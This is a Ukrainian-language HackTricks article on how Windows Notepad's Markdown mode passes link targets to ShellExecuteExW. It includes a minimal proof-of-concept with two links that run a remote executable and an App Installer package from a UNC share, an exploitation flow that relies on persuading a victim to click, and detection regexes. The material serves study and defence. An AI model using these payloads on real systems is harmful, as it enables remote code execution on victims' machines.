Обробник протоколів Windows / зловживання ShellExecute (Markdown Renderers)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Сучасні програми Windows, які рендерять Markdown/HTML, часто перетворюють посилання, надані користувачем, на клікабельні елементи і передають їх у ShellExecuteExW. За відсутності суворого переліку дозволених схем будь-який зареєстрований обробник протоколу (наприклад, file:, ms-appinstaller:) може бути викликаний, що призведе до виконання коду в контексті поточного користувача.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad chooses Markdown mode only for
.mdextensions via a fixed string comparison insub_1400ED5D0(). - Підтримувані Markdown-посилання:
- Стандартне:
[text](target) - Autolink:
<target>(рендериться як[target](target)), тож обидва синтакси важливі для payload-ів і детекцій. - Кліки по посиланнях обробляються в
sub_140170F60(), яка виконує слабке фільтрування і потім викликаєShellExecuteExW. ShellExecuteExWделегує обробку будь-якому налаштованому обробнику протоколу, а не лише HTTP(S).
Розгляд payload-ів
- Будь-які послідовності
\\у посиланні нормалізуються в\перед викликомShellExecuteExW, що впливає на формування UNC/шляхів і детекцію. .mdфайли за замовчуванням не асоційовані з Notepad; жертва все ще повинна відкрити файл у Notepad і клікнути по посиланню, але після рендерингу посилання стає клікабельним.- Приклади небезпечних схем:
file://для запуску локального/UNC payload-а.ms-appinstaller://для запуску потоків App Installer. Інші локально зареєстровані схеми також можуть бути вразливими.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Потік експлуатації
- Створіть
.mdфайл, щоб Notepad відображав його як Markdown. - Вставте посилання, яке використовує небезпечну URI-схему (
file:,ms-appinstaller:або будь-який інший встановлений handler). - Доставте файл (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB або подібним шляхом) і переконайте користувача відкрити його в Notepad.
- При натисканні нормалізоване посилання передається в
ShellExecuteExW, і відповідний обробник протоколу виконує вказаний контент у контексті користувача.
Ідеї для виявлення
- Стежте за передачею
.mdфайлів через порти/протоколи, які зазвичай доставляють документи:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Аналізуйте Markdown-посилання (стандартні та autolink) і шукайте без урахування регістру
file:абоms-appinstaller:. - Регулярні вирази, рекомендовані вендором, для виявлення доступу до віддалених ресурсів:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Звітовано, що поведінка патчу allowlists local files and HTTP(S); усе інше, що потрапляє до
ShellExecuteExW, є підозрілим. Розширте виявлення на інші встановлені обробники протоколів за потреби, оскільки attack surface варіюється залежно від системи.
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


